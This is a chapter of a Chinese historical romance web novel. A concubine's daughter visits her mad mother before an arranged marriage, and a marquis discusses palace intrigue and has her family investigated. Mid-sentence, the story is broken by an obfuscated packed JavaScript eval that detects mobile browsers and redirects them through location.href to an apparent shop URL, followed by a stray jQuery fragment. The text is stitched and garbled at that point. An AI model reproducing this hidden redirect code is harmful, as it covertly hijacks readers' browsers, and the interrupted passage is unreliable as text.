南泱站在屋里回不过神。


    昨日才听婆子议论，她快十七了，家里至今不敢安排相看，怕祸害了别人家的好儿郎……


    今日就和陆家三郎议亲了？


    天上掉饼都没砸这么快的。


    嫡母今日把她叫来，当然不是和她商量，而是告知。南泱带几分茫然出了正房。


    台阶下走出两步，想起许久不见的亲生母亲，又急转回去。


    初秋天气热，几扇边窗没关。嫡母正和身边几个亲信低声说话，挂在唇边的得体微笑早已消失殆尽。


    南泱转回屋门口，刚好听到一句幽幽的：


    “陆家怎么想的？以后姐妹成了妯娌，二娘学了不少她亲娘的厉害手段，映雪嫁过去怕要吃苦了……”


    南泱正好开口道：“母亲。”


    两边同时说话，守门丫鬟来不及通报，慌急慌忙地高喊：“二娘子怎么回来了？”


    嫡母和身边几个亲信陪房的脸色同时微微地一变。


    嫡母坐直身体，无事人般招呼：“何事又回来了？可是落了什么物件在屋里？”


    南泱规规矩矩站在门外回话。意外听来的一句闲话左耳入右耳出，和身边吹过的穿堂风也没什么区别。


    “想起件事问母亲。女儿离家大半年了，今日可否去探望周姨娘？”


    嫡母并不阻止：“血脉连心，去罢。”


    南泱得了准信，心里雀跃，转身正要走，又被嫡母叫回去。


    “你这孩子。天上掉下一桩好亲，你接着便是了，偏生出许多心思。转弯抹角听到三言两语，怕不是又要误会了？”


    嫡母淡淡地笑了下，“我是心疼映雪，但同样心疼你。卫家姐妹嫁陆家兄弟，传出去容易让人比较。陆家两兄弟都是人中龙凤，外人也就罢了，自家姐妹，切莫升起攀比之心。”


    “陆家两兄弟都是人中龙凤”……客气话听听就算了。


    南泱边走边想着那句：“自家姐妹，切莫升起攀比之心”。


    “我有什么好和长姐攀比的？”她低声嘀咕，“我只有一个阿姆。”


    ……还有个发疯的亲娘。


    认不出女儿的亲娘毕竟还是亲娘。大半年不见，说不想念是假的。


    她沿着内院墙笔直往北去了。


    阿娘发疯后，被移去卫家内宅最北面的一排倒座罩房居住，日常由两个婆子拘束看管。


    南泱自己的丁香苑朝西，虽然夏天闷热得像个蒸笼，毕竟下午还有阳光晒进院子。阿娘住的倒座罩房那才叫终年不见日光。


    南泱停在内宅最北面虚掩的院门外，从袖中取出钱袋子，掂了掂。


    平安镇大半年积攒下来的半袋钱，今天全撒给看守婆子，应该能换来婆子们睁只眼闭只眼，让自己多留半日，陪阿娘出门晒晒太阳，再找个阿娘心情平静的空当，把自己即将出嫁的消息告诉她。


    不知是不是错觉，她上前敲门，打算拎着钱袋和婆子们交涉的时候，感觉身后有目光盯来。


    南泱诧异转身回望，身后空空荡荡，远远地低头走过一个家仆。


    想多了吧……她敲开了门。


    有钱能使鬼推磨。使了半袋子钱，如愿陪伴阿娘一个下午。


    可惜阿娘还是没能认出她来，母女同坐在一处，阿娘木呆呆地毫无反应。


    南泱早习惯了，借这个难得的下午替阿娘清洁身体，又仔细沐了次发。曾经光滑如绸缎的乌黑长发，多年疏于打理，处处打结，黑里泛起丝丝灰白。


    时光如涛涛流水。乍看天天相似，细看处处不同。


    曾经端庄明艳、仿佛一朵人间富贵花的阿娘，怎会变成如今这番模样？


    小时候的她经常坐在丁香苑里，想各种各样的 “如果”，“为什么”。


    现在长大了，其实世上许多事并没有答案，也没有那么多的“如果”。


    阿娘疯了就是疯了，追问和假设毫无意义。


    如果说南泱年幼阶段的回忆仿佛一卷五色斑斓的画卷，时而春风拂面，时而风浪涌起；


    长大后的日子连微风都没有，整卷画卷一片空白，也算平和。


    南泱给阿娘梳头，轻声细语：“娘，女儿要出嫁了。”


    “昨日见了陆三郎一面，应该是传说中的相看。陆家三郎没什么不好。”


    “陆澈也没什么好。阿娘，我和大表兄的年纪差太多了。”


    她七岁时，陆澈都十三岁了。耐着性子陪她玩斗百草。她站着，对方坐着。


    个头相差太多，只有这样才能平视。


    坐看年幼的她捧一堆草茎兴冲冲献宝，外表温雅谦和的陆家大表兄，当时心里如何想？


    “阿娘当初怎么想的呢。”


    乌黑里掺杂灰白的发髻被仔细挽起，阿娘浑浊的眼睛毫无神采，她知道今日得不到任何回应了。


    南泱又安静地陪坐了一会儿，伏身下去，下巴倚在生母温暖的膝头，喃喃自语：


    “阿娘，和我说说话罢。”


    ——


    秋阳当空，映亮宫城明黄的琉璃瓦。


    大殿外出现一个高挑的精悍身形。一身肃穆玄色大袖朝服，脚下黑履，腰间紫绶玉环在阳光下灼灼耀光，宽肩蜂腰，三两步走下汉白玉台阶。


    等候在台阶下的狄荣、明文焕两个属臣一齐迎上。


    往日都是狄荣大步走得快，今日狄荣却慢腾腾地落在后头，迈不开腿似的。


    卫二娘在卫家的事他负责探听。


    ……听来一堆破事。


    等下主上问起，怎么跟主上说？


    哎，烦。


    “萧侯，今日面圣如何？” 明文焕低声问，“圣上御体可安康？”


    萧承宴唔了声。


    “未见到圣上。”


    “倒是撞见了齐王。”


    两边在天子寝殿外狭路相逢，齐王完全没想到他会出现在禁中，脸色大变，开口就要喊人。


    齐王身边最得力的谋士崔先生，从身后猛一扯，耳语几句，齐王这才勉强镇定心神，假笑着上来寒暄。


    明文焕细细思忖齐王的反应：“不对劲。”


    萧承宴一点头。


    “值守禁军未拦我，齐王很意外。”


    宫里情况不对劲，出现许多生面孔。好在认识的更多。


    萧家父子两代从军，萧承宴十四岁就入军营摸爬滚打。这么多年在军中交结的人脉复杂深广，岂是齐王几个月能撬动的？


    明文焕为人谨慎，思虑得更远。


    “圣上病重，东宫储君之位空悬，现在圣上的面都见不到了。看来，我们出京一个半月的功夫，齐王已安插了不少人手，控制宫里情况。若被他登基……那可糟糕之极。”


    萧承宴唇边露出嘲弄之色。


    如果宫里的局面被齐王完全控制住，刚才两边意外照面，齐王就不会假笑着上来寒暄，而是直接下令围杀了他。


    对方不敢在宫里动手，显然，他离开京城的一个半月，齐王借着天时地利，依旧没能掌控宫里的局面。


    这废物。


    萧承宴迈开长腿往前走，几步便走去前头，不咸不淡道：“托圣上洪福，齐王殿下没那么大本事。”


    圣上年纪大了，越老越喜欢玩弄权术。


    两个成年的皇子，齐王、湘王，都不算得宠的皇子。


    圣上提起这两个儿子，总一副嫌弃口吻。


    嫌弃齐王骄狂，湘王阴沉。两个儿子的才德品性加起来也比不上早逝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176599|196312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的先太子。先太子如果还在人世的话，这两儿子哪能留在京城？早滚去封地了。


    去年先把湘王赶去了封地。


    起因在去年正月的宫宴，圣上抱着先太子留下的皇长孙，当众嘲讽两个儿子：“皇孙今年四岁，朕观之，才德品行亦远胜齐王、湘王！”


    齐王捏着鼻子忍下去了。


    湘王没忍住，宫宴大闹一场，去年正月里被撵去南边封地。


    其实湘王已暗中筹备了两三年。被赶去封地这件事，仿佛熔浆冲开豁口，下半年湘王就造了反。


    萧承宴领兵镇压下去。杀尽湘王旧部，斩首八千余人，死者枕籍。


    湘王死后，京城的皇子只剩下一个齐王了。


    圣上总得立太子。


    朝廷那边刚刚放出立储君的风声，萧承宴这边就被天子催促着去封地，一杆子支出了京城。


    萧承宴顺着宫道悠然踱步，唇边噙笑，语气也悠闲。


    但吐露的言语完全不能被人听见。


    大不敬。


    “圣上防备我。怕我留在京城，不利于齐王。”


    “等齐王坐稳太子之位，将来登基，圣上打算把我这条命当做贺礼，赠给齐王了。”


    “送去山阳郡的密旨，我越想越觉得，像真的。”


    “……”·狄荣低声咒骂一句。


    明文焕冷汗从后背炸开，伸手一扯主上衣袖。皇城禁地，多少双耳朵！


    萧承宴毫不在意。


    “盘算得厉害，可惜运气不大好。齐王尚未册立太子，圣上先倒下了。这叫什么？”


    他悠悠地道：“时也，命也？朽木不可雕也？”


    萧承宴噙着意味不明的笑走出几步，不知思绪跳去哪处，忽地话锋又一转。


    “说点有趣的罢。卫家怎么样？”


    卫家的事狄荣负责。


    狄荣觉得卫家的一堆破事都不怎么有趣，也不知主上觉得哪里有趣。


    “派了个好手潜进卫家，情况摸得差不多了。”


    原原本本地描述完，狄荣总结道，“卫二娘子在家里过得不怎么样嘛。”


    明文焕听得眉头大皱：“原本是卫二娘和陆家嫡长子陆澈议亲，后来陆澈改议卫家嫡女，和卫二娘议亲的换成了陆家旁支的三郎。陆、卫这两家怎么乱七八糟的。”


    萧承宴停下脚步，从怀里抽出一张画像，迎风展开，若有所思看了一阵。


    正是平安镇带出的小娘子画像。


    一路扔出去三四次又捡回来，揉得皱巴巴的。


    好在还能看出画像女郎小巧的尖下巴，乖巧的圆眼。


    “卫二娘在卫家并不受宠……”萧承宴忽地开口问：“她在家里穿不穿葛布衣？”


    “卫家上下无人穿葛布衣。扫地仆妇都不穿。”


    萧承宴：“去个人，回平安镇。查一查卫家在平安镇的宅子。”


    明文焕有点估不准主上的想法，半真半假笑问：


    “以卫二娘的勋贵高门出身，不大像是葛布赤足、单独出门采莲蓬的恩人小娘子。寻人告示贴遍平安镇各处，主要还是寻找穷苦出身的小娘子，或许常住山中，猎户、医女，都有可能……”


    萧承宴打断道：“以卫家勋贵女的身份，会躺土沟？”


    明文焕语塞：“……这个……”一般人还真不会。


    萧承宴身形修长矫健，走路却无声无息的，瞬间走去前头。


    仿佛丛林当中皮毛油亮舒展的野豹，日头下危险地苏醒过来，并不急着猎捕，而是不紧不慢地舔舐利爪，伸展懒腰。


    萧承宴带着细微的愉悦神色上马。


    “不急，慢慢地查。”他有的是耐性。


    “但我觉得，多半是她。”